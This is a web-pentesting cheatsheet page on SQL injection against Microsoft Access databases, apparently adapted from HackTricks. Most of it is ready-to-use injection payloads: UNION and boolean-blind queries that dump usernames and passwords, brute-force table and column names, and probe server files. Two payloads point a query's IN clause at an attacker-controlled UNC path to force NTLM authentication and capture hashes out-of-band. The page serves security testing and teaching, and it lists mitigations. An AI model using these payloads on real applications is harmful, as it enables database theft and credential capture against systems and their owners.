daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ms-access-sql-injection.md (10974B)


      1 ---
      2 title: "MS Access SQL Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/ms-access-sql-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/ms-access-sql-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # MS Access SQL Injection
     14 
     15 ## Online Playground
     16 
     17 - [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
     18 
     19 ## DB Limitations
     20 
     21 ### String Concatenation
     22 
     23 String concatenation is possible with `& (%26)` and `+ (%2b)` characters.
     24 
     25 ```sql
     26 1' UNION SELECT 'web' %2b 'app' FROM table%00
     27 1' UNION SELECT 'web' %26 'app' FROM table%00
     28 ```
     29 
     30 ### Comments
     31 
     32 There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:
     33 
     34 ```sql
     35 1' union select 1,2 from table%00
     36 ```
     37 
     38 If this is not working you could always fix the syntax of the query:
     39 
     40 ```sql
     41 1' UNION SELECT 1,2 FROM table WHERE ''='
     42 ```
     43 
     44 ### Stacked Queries
     45 
     46 They aren't supported.
     47 
     48 ### LIMIT
     49 
     50 The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.
     51 
     52 ```sql
     53 1' UNION SELECT TOP 3 attr FROM table%00
     54 ```
     55 
     56 Just like TOP you can use **`LAST`** which will get the **rows from the end**.
     57 
     58 ## UNION Queries/Sub queries
     59 
     60 In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
     61 So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
     62 Therefore, you need to know a **valid table name**.
     63 
     64 ```sql
     65 -1' UNION SELECT username,password from users%00
     66 ```
     67 
     68 ### Chaining equals + Substring
     69 
     70 > [!WARNING]
     71 > This will allow you to exfiltrate values of the current table without needing to know the name of the table.
     72 
     73 **MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.
     74 
     75 Imagine that you have SQL injection in an MS Access database and know or have guessed a column named `username`. Compare the application's responses to chained equality expressions and use the **`Mid`** function to exfiltrate that field through a **boolean injection**.
     76 
     77 ```sql
     78 '=(Mid(username,1,3)='adm')='
     79 ```
     80 
     81 If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:
     82 
     83 ```sql
     84 '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
     85 ```
     86 
     87 _Feel free to check this in the online playground._
     88 
     89 ### Brute-forcing Tables names
     90 
     91 Using the chaining equals technique you can also **bruteforce table names** with something like:
     92 
     93 ```sql
     94 '=(select+top+1+'lala'+from+<table_name>)='
     95 ```
     96 
     97 You can also use a more traditional way:
     98 
     99 ```sql
    100 -1' AND (SELECT TOP 1 <table_name>)%00
    101 ```
    102 
    103 _Feel free to check this in the online playground._
    104 
    105 - Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
    106 - There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)<sup>[[1]](#references)</sup>
    107 
    108 ### Brute-Forcing Columns names
    109 
    110 You can **brute-force current columns names** with the chaining equals trick with:
    111 
    112 ```sql
    113 '=column_name='
    114 ```
    115 
    116 Or with a **group by**:
    117 
    118 ```sql
    119 -1' GROUP BY column_name%00
    120 ```
    121 
    122 Or you can brute-force column names of a **different table** with:
    123 
    124 ```sql
    125 '=(SELECT TOP 1 column_name FROM valid_table_name)='
    126 
    127 -1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
    128 ```
    129 
    130 ### Dumping data
    131 
    132 We have already discussed the [**chaining equals technique**](/hacktricks/pentesting-web/sql-injection/ms-access-sql-injection#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:
    133 
    134 ```sql
    135 IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
    136 ```
    137 
    138 In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.<sup>[[1]](#references)</sup>
    139 
    140 ### Time-Based (Blind) Tricks
    141 
    142 Jet/ACE SQL itself does **not** expose a native `SLEEP()` or `WAITFOR` function, so traditional time-based blind injections are limited. However, you can still introduce a measurable delay by forcing the engine to access a **network resource that is slow or does not answer**. Because the engine will try to open the file before returning the result, the HTTP response time reflects the round-trip latency to the attacker-controlled host.
    143 
    144 ```sql
    145 ' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
    146 ```
    147 
    148 Point the UNC path to:
    149 
    150 * a SMB share behind a high-latency link
    151 * a host that drops the TCP handshake after `SYN-ACK`
    152 * a firewall sinkhole
    153 
    154 The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.<sup>[[2]](#references)</sup>
    155 
    156 ### Other Interesting functions
    157 
    158 - `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
    159 - `LEN('1234')` get length of string
    160 - `ASC('A')` get ascii value of char
    161 - `CHR(65)` get string from ascii value
    162 - `IIF(1=1,'a','b')` if then
    163 - `COUNT(*)` Count number of items
    164 
    165 ## Enumerating tables
    166 
    167 From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
    168 
    169 ```sql
    170 select MSysObjects.name
    171 from MSysObjects
    172 where
    173    MSysObjects.type In (1,4,6)
    174    and MSysObjects.name not like '~*'
    175    and MSysObjects.name not like 'MSys*'
    176 order by MSysObjects.name
    177 ```
    178 
    179 However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
    180 
    181 ## FileSystem access
    182 
    183 ### Web Root Directory Full Path
    184 
    185 The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
    186 
    187 `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
    188 
    189 MS Access responds with an **error message containing the web directory full pathname**.<sup>[[1]](#references)</sup>
    190 
    191 ### File Enumeration
    192 
    193 The following attack vector can be used to **infer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message indicating that the database format is invalid:<sup>[[1]](#references)</sup>
    194 
    195 `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
    196 
    197 Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.
    198 
    199 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
    200 
    201 ### .mdb File Name Guessing
    202 
    203 **Database file name (.mdb)** can be inferred with the following query:
    204 
    205 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
    206 
    207 Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.<sup>[[1]](#references)</sup>
    208 
    209 ### Remote Database Access & NTLM Credential Theft (2023)
    210 
    211 Since Jet 4.0 every query can reference a table located in a *different* `.mdb/.accdb` file via the `IN '<path>'` clause:
    212 
    213 ```sql
    214 SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
    215 ```
    216 
    217 If user input is concatenated into the part after **IN** (or into a `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` call) an attacker can specify a **UNC path** that points to a host they control. The engine will:
    218 
    219 1. try to authenticate over SMB / HTTP to open the remote database; 
    220 2. leak the web-server’s **NTLM credentials** (forced authentication); 
    221 3. parse the remote file – a malformed or malicious database can trigger Jet/ACE memory-corruption bugs that have been patched multiple times (e.g. CVE-2021-28455).
    222 
    223 Practical injection example:
    224 
    225 ```sql
    226 1' UNION SELECT TOP 1 name
    227    FROM MSysObjects
    228    IN '\\attacker\share\poc.mdb'-- -
    229 ```
    230 
    231 Impact:
    232 
    233 * Out-of-band exfiltration of Net-NTLMv2 hashes (usable for relay or offline cracking).
    234 * Potential remote code execution if a new Jet/ACE parser bug is exploited.
    235 
    236 Mitigations (recommended even for legacy Classic ASP apps):
    237 
    238 * Add the registry value `AllowQueryRemoteTables = 0` under `HKLM\Software\Microsoft\Jet\4.0\Engines` (and under the equivalent ACE path). This forces Jet/ACE to reject remote paths starting with `\\`.
    239 * Block outbound SMB/WebDAV at the network boundary.
    240 * Sanitize / parameterise any part of a query that may end up inside an `IN` clause.
    241 
    242 The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.<sup>[[3]](#references)</sup>
    243 
    244 ### .mdb Password Cracker
    245 
    246 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.
    247 
    248 ## References
    249 
    250 - [1] [nibblesec – MS Access SQL Injection cheat sheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
    251 - [2] [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
    252 - [3] [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)